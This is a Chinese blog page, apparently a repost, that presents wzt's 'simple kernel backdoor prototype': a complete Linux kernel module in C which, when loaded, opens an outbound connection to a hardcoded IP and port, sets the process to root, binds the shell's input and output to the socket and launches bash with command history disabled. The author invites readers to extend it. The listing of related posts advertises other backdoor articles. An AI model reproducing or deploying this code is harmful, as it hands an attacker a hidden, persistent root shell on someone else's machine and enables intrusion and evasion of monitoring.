一个简单的内核后门原型

多物理场耦合仿真-主题032-电磁-流体耦合 电磁-流体耦合,即磁流体动力学(MHD, Magnetohydrodynamics),是研究导电流体在电磁场中运动规律的学科,涉及电磁场与流体力学的深度耦合。本主题系统阐述磁流体动力学的基本理论、控制方程和数值方法。首先介绍MHD的基本概念和物理基础,包括导电流体的性质、电磁场基本方程;然后详细推导MHD控制方程组,包括连续性方程、动量方程、能量方程和电磁场方程;接着讨论MHD流动的特征参数,如Hartmann数、磁雷诺数、相互作用参数等;最后通过六个典型工程案例展示MHD分析的实际应用,包括电磁泵、磁流体 阅读详情
wzt <wzt#xsec.org>

这是一个在内核模块中实现的反连后门,大家看看这于应用层上的实现有什么不同吧,呵呵
/*
 * Kernel mode connect backdoor,haha~
 *
 * just a demo module to teach you how to write a backdoor in kernel mode,
 * i belive you can add more code to make it strong and powerful,wulala.
 *
 * by wzt <wzt#xsec.org>
 *
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/types.h>
#include <linux/errno.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include "syscalls.h"

#define REMOTO_IP "192.168.75.1"
#define port 1080

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

static inline my_syscall2(int, dup2, int, oldfd, int, newfd);

static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };

char *env[]={
 "TERM=linux",
 "HOME=" HOME,
 "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
 ":/usr/local/sbin",
 "HISTFILE=/dev/null",
 NULL };
 
int k_connect(void)
{
 struct task_struct *tsk = current;
 struct socket *sock,*newsock;
 struct sockaddr_in server;
 int sockfd,i;
 int error = 0,len = sizeof(struct sockaddr);
 
 set_fs(KERNEL_DS);
 
 error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
 if (error < 0) {
 printk("[-] socket_create failed: %d/n",error);
 sock_release(sock);
 return -1;
 }
 
 sockfd = sock_map_fd(sock);
 if (sockfd < 0) {
 printk("[-] sock_map_fd() failed./n");
 sock_release(sock);
 return -1;
 }

 for (i = 0; i < 8; i++)
 server.sin_zero[i] = 0;

 server.sin_family = PF_INET;
 server.sin_addr.s_addr = in_aton(REMOTO_IP);
 server.sin_port = htons(port);

 error = sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags);
 if (error < 0) {
 printk("[-] connect to %s failed./n",REMOTO_IP);
 return -1;
 }

 printk("[+] connect to %s ok./n",REMOTO_IP);
 
 set_fs(KERNEL_DS);
 
 tsk->uid = 0;
 tsk->euid = 0;
 tsk->gid = 0x11111111;
 tsk->egid = 0;
 
 dup2(sockfd,0);
 dup2(sockfd,1);
 dup2(sockfd,2);
 
 execve(earg[0], (const char **) earg, (const char **) env);
 
 return 1;
}

int k_socket_init(void)
{
 printk("[+] kernel socket test start./n");
 
 k_connect();
}

void k_socket_exit(void)
{
 printk("[+] kernel socket test over./n");
}

module_init(k_socket_init);
module_exit(k_socket_exit); 
数字逻辑Fundamentals of Digital Logic with Verilog Design | 3rd Edition Solutins Chapter 3(step by step) 第三章3-1~3-27全部习题解析和代码模块 阅读详情

相关推荐

AD20/Altium designer——如何进行DRC检查、冲突的错误如何改正

对于一个画完的PCB,我们常常需要进行DRC检查,确保板子的电器连接及制作工艺在设定规则的范围内,本篇将介绍如何对PCB进行后期DRC检查处理,确保电路板出现不必要错误。 1.DRC检查入口 2.DRC设置 3.错误分析 对于错误的内容,依据个人实际情况不同,其出现的原因都是因为与设计规则中的设定标准冲突,这里按遇到的错误进行修改讲解,其他错误同理。 4.常见错误分析及解决方法 (1) 解决方法:将未连接网络连接(...

嵌入式创客工坊的博客 5万+

深入理解Linux内存映射机制

创建时间:2008-08-31文章属性:原创文章提交:wzt (wzt_at_xsec.org)深入理解Linux内存映射机制 Author: wztEMail: wzt@xsec.orgSite: http://www.xsec.org & http://hi.baidu.com/wzt85Date: 2008-6-13 一. 绪 论二. X86的硬件寻址方法

thewayma的专栏 1505

Python中的串口通信库pyserial(基础)

pyserial是一个跨平台的库,可以在多个操作系统上使用,包括Windows、Linux和MacOS。:flushInput方法用于清除输入缓冲区中的所有数据,flushOutput方法用于清除输出缓冲区中的所有待发送数据。:PySerial允许在创建Serial对象后,通过修改对象的属性来设置串口参数,如波特率、数据位、校验位和停止位。同时,也提供了方法或属性来检查串口的状态,如是否已打开。:sendBreak方法用于向串口发送一个BREAK信号,这可以用于向连接的设备发送一个中断或重置信号。

weixin_44217158的博客 1万+

PHP WeBaCoo后门学习笔记

PHP WeBaCoo后门学习笔记 - PHP WeBaCoo backdoor learning notes   WeBaCoo (WebBackdoorCookie)是一款隐蔽的脚本类Web后门工具。设计理念是躲避AV、NIDS、IPS、网络防火墙和应用防火墙的查杀,提供混淆和原始两种后门代码(原始代码较难检测)。WebBaCoo使用HTTP响应头传送命令执行的结果,Shell命令经...

weixin_34092455的博客 161

【深度学习-番外1】Win10系统搭建VSCode+Anaconda+Pytorch+CUDA深度学习环境和框架全过程

本文将介绍在Windows 10系统下搭建深度学习环境的完整过程,包括安装Anaconda、CUDA、NVIDIA显卡驱动以及Pytorch框架。后续本专栏的Python语言下的深度学习环境都以本篇搭建的为准。

fengzhuqiaoqiu的博客 4003

机器学习中正则化项L1和L2的直观理解

正则化(Regularization) 机器学习中几乎都可以看到损失函数后面会添加一个额外项,常用的额外项一般有两种,一般英文称作ℓ1ℓ1\ell_1-norm和ℓ2ℓ2\ell_2-norm,中文称作L1正则化和L2正则化,或者L1范数和L2范数。 L1正则化和L2正则化可以看做是损失函数的惩罚项。所谓『惩罚』是指对损失函数中的某些参数做一些限制。对于线性回归模型,使用L1正则化的模型建叫做...

小平子的专栏 43万+

去除中国菜刀密码的方法

Setargs=WScript.Arguments ifargs.count<>1thenmsgbox"db.mdb":wscript.quit Setconn=CreateObject("ADODB.Connection") pwd="密"&chr(13)&chr(9)&chr(10)&"码"&chr(2...

weixin_34071713的博客 811

DMA engine initialization failed rk3568的原因及解决方案

刚开始调试 switch 芯片的时候由于rgmii 时钟是output , rk3568的 GMAC 需要 switch 芯片提供 125M的时钟,如果没有这个时钟就会初始化失败,进入文件系统后 ethx 不会出现(当然,如果屏蔽掉这里ethx 会出现,但是引发更多的问题,笔者在这块耍小聪明,导致耗费了近一个月时间,把网络这块整个查了一遍 -----)dma 软复位是在进入文件系统后,网络系统启动的时候,我想如果在这个之前只要提供合适的时钟那么就是可以的,那么------以上是官方的文档说明。

Nyiragongo的博客 4577

getcoo php_手工注射php学习

代码: $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname); $password = md5($password); $q = "select id,group_id from $user_table where username=’$username’ and password=’$password’"; $res ...

weixin_39946767的博客 194

Linux V3H 平台开发系列讲解(摄像头)2.3.1 MAX96912 MAX96717 GMSL1 CSI 2lane配置

​ 单路摄像头,数据流类型YUV422, mipi接口,经过MAX96717 串行器,gmsl1链路 到解串器MAX96712,最后mipi csi 2lane(lane0 lane1)输出到 renesa v3h soc开发板; ​

xian18809311584的博客 580

电力系统分析 | Matlab实现源荷场景生成---蒙特卡洛法场景生成启发式同步回带削减

电力系统分析 | Matlab实现源荷场景生成---蒙特卡洛法场景生成启发式同步回带削减

前程算法屋的博客 813

linux 内核 后门,一个简单的Linux内核后门原型(ZT)

作者:wzt 这是一个在内核模块中实现的反连后门,大家看看这于应用层上的实现有什么不同吧,呵呵/** Kernel mode connect backdoor,haha~** just a demo module to teach you how to write a backdoor in kernel mode,* i belive you can add more code to make ...

weixin_35336727的博客 307

vue3:最新实现腾讯人脸核身+增强版人脸核身使用方法及示例源码,Vue3如何使用腾讯云慧眼人脸核身,提供人脸核身案例、身份信息核验、活体检测与核身比对等示例代码(后端spring与thinkphp)

vue3接入腾讯人脸核身,腾讯云人脸核身Vue3+后端代码,H5人脸核身,vue3 H5如何使用腾讯人脸核身sdk,vue3+thinkphp腾讯人脸核身,Spring Boot接入腾讯云人脸核身教程,hinkphp腾讯人脸核身,vue3人脸核身插件接入流程,vue+spring boot实现腾讯人脸核身,vue3接入腾讯云【增强版人脸核身接入】,vue3 h5微信公众号网页腾讯云慧眼人脸核身,tvue3接入人脸核身SDK,vue3+typescrip+vite接入慧眼实名认证,vue3腾讯云活体人脸核身(

✅ 精选推荐文章 4121

Linux内核级后门的原理及简单实战应用(转)

Linux内核级后门的原理及简单实战应用(转)   以下代码均在linux i86 2.0.x的内核下面测试通过。它也许可以在之前的版本通过,但并没有被测试过。因为从2.1.x内核版本就引入了相当大的改变,显著地内存管理上的差...

cuemes08808的博客 394

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

NT 内核函数原型大全

原文地址:

lwqamm的博客 1393

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

1添加最简单的Linux内核模块

1添加最简单的Linux内核模块 一.实验目的 1 熟练掌握基本的Linux内核模块开发框架和编译方法。 2 熟练掌握Linux内核模块添加流程。 3 理解Linux内核模块代码中的一些常见宏和参数。 4 掌握Linux内核模块程序和应用程序的差异。 二.实验背景 2.1用户态与内核态 图1.1 用户态与内核态关系示意图 2.2Linux内核模块LKM (Linux Ker...

汪汪的博客 4323

贝叶斯统计 [韦来生编]

贝叶斯(Bayes)统计是近几十年来迅速发展起来的数理统计的一个重要分支。贝叶斯方法与经典统计方法的主要不同之处是进行统计推断时除了利用样本信息外,还要利用参数的先验信息,因此可以提高统计推断或统计决策的效果。它在经济、金融、生物、医学、自然科学和社会科学等许多领域具有广泛的应用。贝叶斯方法的研究已渗透到了统计学的几乎所有领域。作者在给中国科学技术大学概率论与数理统计专业本科生开设的“数理统计”课程中有一章专门讲授“贝叶斯方法和统计决策理论”,近十年来也给中国科学技术大学概率统计专业研究生开设过几次“贝叶斯分析”课。本书是在对过去讲稿的内容作了适当的增减和调整的基础上完成的。  本书共分六章。第1章是绪论,介绍了贝叶斯统计的若干基本概念,同时对必要的数理统计的基础知识有重点地作了回顾。第二章介绍了确定先验分布的若干可供选择的方法。第三章介绍了几类常见统计模型参数的后验分布的主要结果和计算方法。第四章和第五章分别介绍了“贝叶斯统计推断”和“贝叶斯统计决策”的内容。第六章介绍了贝叶斯统计计算的若干方法,包括蒙特卡洛方法和马尔可夫链蒙特卡洛(MCMC)方法以及相关统计软件的简介。本书的每一章附右大量的例题和习题,书末附有常用的几个表格和部分习题解答供读者查用。  大约可在54学时内讲授本书的第1章至第六章的主要内容,教师可根据学时需要选讲本书第1章至第六章的部分内容。书中标“*”号的章节可略去不讲,留给读者作为阅读材料。第六章例题中的R代码和部分例题的数据文件等可从作者个人主页下载。  作者在编写本书的过程中参考了J.O.Berger教授的《统计决策论及贝叶斯分析》和茆诗松教授编写的《贝叶斯统计》等书中的一些内容,以及《贝叶斯分析》一书中由张伟平博士编写的有关贝叶斯统计计算的一些内容。在此表示衷心感谢。  本书编写准备过程中,中国科学技术大学统计与金融系的几个研究生帮助完成了本书部分中文的录入和排版,作者对他们的辛勤工作表示真诚的感谢。高等教育出版社为本书的出版给予了大力支持。在此一并致谢。

如何给CentOS 7 添加一个简单的系统调用

操作系统作业:添加一个简单的系统调用一、实验目的二、实验内容二、实验环境三、操作方法和步骤(1)下载软件包,并解压(2)修改源程序,增加系统调用 一、实验目的 学习Linux的内核的系统调用。 理解、掌握Linux系统调用的实现框架、用户界面、参数传递、进入/返回过程。 二、实验内容 在系统调用中添加一个不用传递参数的系统调用,实现一个简单的系统调用的添加。执行这个系统调用,在屏幕上显示输出...

分享日常学习工作中的经验 9401

简单理解原型链

简单理解原型链 要了解原型链那么就要先认识几个朋友。 1、原型对象: prototype ① 简单理解:构造函数身上的一个属性 ② 作用:设置公共方法 ③ 构造函数与prototype之间的关系:上图 注意!!!:prototype”作为对象的内部属性,是不能被直接访问的。 2、对象原型:proto ① 简单理解:实例对象身上的属性 ② 指向原型对象prototype ③ 作用:(就是实例对象与原型对象之间的桥梁)实例对象可以访问对象原型身上的公共方法 ④ 上图更好理解: 容易理解断层的地方!!!:pr

weixin_57167969的博客 896

从零开始学Linux内核驱动--(二)简单内核模块驱动程序

Linux驱动–(二)简单的内核模块驱动程序 一、概述 Linux中所有的驱动都是以内核模块的形式来实现的,他们与其他所有的内核编译在一起形成一个单独的内核镜像文件(所以说Linux是一个宏内核)。当然啦,这是相对于微内核而言的(典型的微内核的代表是Windows系统),后面我会专门总结一下这两种内核的优缺点和不同,这里呢,先简单说一下红内核和微内核的区别(后面会专门写一篇博客来区分二者): ...

wit_732的博客 725

10分钟搭建内核模块选择验证原型

上完成得非常顺畅,最惊喜的是部署环节——原本需要配置Nginx+uWSGI的服务,现在点个按钮就直接生成可访问的演示地址。对于需要快速验证技术方案的场景,这种即开即用的体验确实能省下大量环境搭建时间。下次做类似原型开发,应该会优先考虑这个工作流。最近在开发内核模块时,经常遇到需要测试不同模块类型兼容性的场景。传统方式需要手动搭建测试环境、编写样板代码,效率很低。快速搭建原型系统,意外发现整个过程比想象中简单很多。预置4种常见模块类型的模板文件。避免了反复创建测试VM的麻烦。输出加载耗时和内存占用。

SunstoneLion34的博客 463

1小时快速验证内核模块选择的原型方法

环境隔离至关重要:容器崩溃不会影响主机,可以放心测试不稳定模块标准化测试数据:所有测试使用相同负载模型,确保结果可比性快速迭代优势:发现异常时可立即切换配置重新测试知识沉淀:测试报告自动归档,形成团队知识库这个原型系统在InsCode(快马)平台上可以快速部署体验,平台提供的容器环境完美支持内核模块测试场景。无需自己搭建Docker环境,开箱即用测试报告自动生成在线预览链接配置切换通过可视化界面完成,比命令行更直观。

CrystalwaveEagle34的博客 449

JS 原型与原型链

先熟悉概念,对于JS原型与原型链 有个大致了解: 原型: JS是一种通过原型实现继承的语言与别的高级语言是有区别的,像JAVA,C#是通过类型决定继承关系的,JS是动态的弱类型语言,总之,可以认为JS中所有都是对象,在JS中,原型也是一个对象,通过原型可以实现对象的属性继承,JS的对象中都包含了一个prototype内部属性,这个属性所对应的就是该对象的原型。prototype作为对象的内部属性,是不能被直接访问的。所以为了方便查看一个对象的原型,Firefox和Chrome内核的JS引擎中提供了prot

813
上一篇: Hook NDIS.SYS入口
下一篇: Windows XP 核心驱动 secdrv.sys 本地权限提升漏洞
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值